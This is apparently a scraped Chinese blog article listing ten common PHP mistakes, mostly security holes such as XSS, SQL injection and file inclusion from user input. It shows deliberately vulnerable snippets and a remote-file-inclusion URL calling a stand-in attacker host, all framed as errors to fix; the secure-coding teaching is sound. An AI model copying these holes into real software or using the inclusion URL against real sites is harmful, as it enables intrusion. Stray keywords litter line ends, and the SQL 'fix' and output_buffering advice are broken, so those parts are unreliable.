PHP程序員如今愈來愈承擔着中重要的任務。php是個偉大的web開發語言,靈活的語言,可是看到php程序員周而復始的犯的一些錯誤。我作了下面這個列表,列出了PHP程序員常常犯的10中錯誤,大多數和安全相關。看看你犯了幾種:php
1.不轉意html entities
html
一個基本的常識:全部不可信任的輸入(特別是用戶從form中提交的數據) ,輸出以前都要轉意。mysql
- echo $_GET['usename'] ;
這個例子有可能輸出:程序員
<script>/*更改admin密碼的腳本或設置cookie的腳本*/</script>web
這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。sql
如何修復:shell
咱們須要將」< 「,」>」,」and」等轉換成正確的HTML表示(<, >’, and 「),函數htmlspecialchars 和htmlentities()正是幹這個活的。安全
正確的方法:服務器
- echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不轉意SQL輸入
cookie
我曾經在一篇文章中最簡單的防止sql注入的方法(php+MySQL中)討論過這個問題並給出了一個簡單的方法。有人對我說,他們已經在php.ini中將magic_quotes設置爲On,因此沒必要擔憂這個問題,可是不是全部的輸入都是從$_GET, $_POST或 $_COOKIE中的獲得的!
如何修復:
和在最簡單的防止sql注入的方法(php+mysql中)中同樣我仍是推薦使用mysql_real_escape_string()函數
正確作法:
- <?php
- $sql = 「UPDATE users SET
- name=’.mysql_real_escape_string($name).’
- WHERE id=’.mysql_real_escape_string ($id).’」;
- mysql_query($sql);
- ?>
3.錯誤的使用HTTP-header 相關的函數:header(), session_start(), setcookie()
遇到過這個警告嗎?」warning: Cannot addheader information - headers already sent [....]
每次從服務器下載一個網頁的時候,服務器的輸出都分紅兩個部分:頭部和正文。
頭部包含了一些非可視的數據,例如cookie。頭部老是先到達。正文部分包括可視的html,圖片等數據。
若是output_buffering設置爲Off,全部的HTTP-header相關的函數必須在有輸出以前調用。問題在於你在一個環境中開發,而在部署到另外一個環境中去的時候,output_buffering的設置可能不同。結果轉向中止了,cookie和session都沒有正確的設置。
如何修復:
確保在輸出以前調用http-header相關的函數,而且令output_buffering = Off。
4. Require 或include 的文件使用不安全的數據
再次強調:不要相信不是你本身顯式聲明的數據。不要 Include 或 require 從$_GET,$_POST 或 $_COOKIE 中獲得的文件。
例如:
- index.php
- <?
- //including header, config, database connection, etc
- include($_GET['filename']);
- //including footer
- ?>
如今任一個黑客如今均可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt來獲取你的機密信息,或執行一個PHP腳本。
若是allow_url_fopen=On,你更是死定了:
試試這個輸入:
http://www.yourdomain.com/index. … n.com%2Fphphack.php
如今你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客能夠發送垃圾郵件,改變密碼,刪除文件等等。只要你能想獲得。
如何修復:
你必須本身控制哪些文件能夠包含在的include或require指令中。
下面是一個快速但不全面的解決方法:
- <?
- //Include only files that are allowed.
- $allowedFiles = array(’file1.txt’,'file2.txt’,'file3.txt’);
- if(in_array((string)$_GET['filename'],$allowedFiles)) {
- include($_GET['filename']);
- }
- else{
- exit(’not allowed’);
- }
- ?>
5. 語法錯誤
語法錯誤包括全部的詞法和語法錯誤,太常見了,以致於我不得不在這裏列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了!
6.不多使用或不用面向對象
不少的項目都沒有使用PHP的面向對象技術,結果就是代碼的維護變得很是耗時耗力。PHP支持的面向對象技術愈來愈多,愈來愈好,咱們沒有理由不使用面向對象。
7. 不使用framework
95% 的PHP項目都在作一樣的四件事: Create, edit,list 和delete. 如今有不少MVC的框架來幫咱們完成這四件事,咱們爲什麼不使用他們呢?
8. 不知道PHP中已經有的功能
PHP的核心包含不少功能。不少程序員重複的發明輪子。浪費了大量時間。編碼以前搜索一下PHP mamual,在google上檢索一下,也許會有新的發現!PHP中的exec()是一個強大的函數,能夠執行cmd shell,並把執行結果的最後一行以字符串的形式返回。考慮到安全可使用EscapeShellCmd()
9.使用舊版本的PHP
不少程序員還在使用PHP4,在PHP4上開發不能充分發揮PHP的潛能,還存在一些安全的隱患。轉到PHP5上來吧,並不費不少功夫。大部分PHP4程序只要改動不多的語句甚至無需改動就能夠遷移到PHP5上來。根據http://www.nexen.net的調查
只有12%的PHP服務器使用PHP5,因此有88%的PHP開發者還在使用PHP4.
10.對引號作兩次轉意
見過網頁中出現\’或\’」嗎?這一般是由於在開發者的環境中magic_quotes設置爲off,而在部署的服務器上magic_quotes=on. PHP會在 GET, POST 和COOKIE中的數據上重複運行addslashes() 。
原始文本:
- It’s a string
- magic quotes on:
- It\’s a string
- 又運行一次
- addslashes():
- It\\’s a string
- HTML輸出:
- It\’s a string
還有一種狀況就是,用戶一開始輸入了錯誤的登陸信息,服務器檢測到錯誤輸入後,輸出一樣的form要求用戶再次輸入,致使用戶的輸入轉意兩次!
但願經過以上內容介紹的十方面,可以給你打擊來幫助。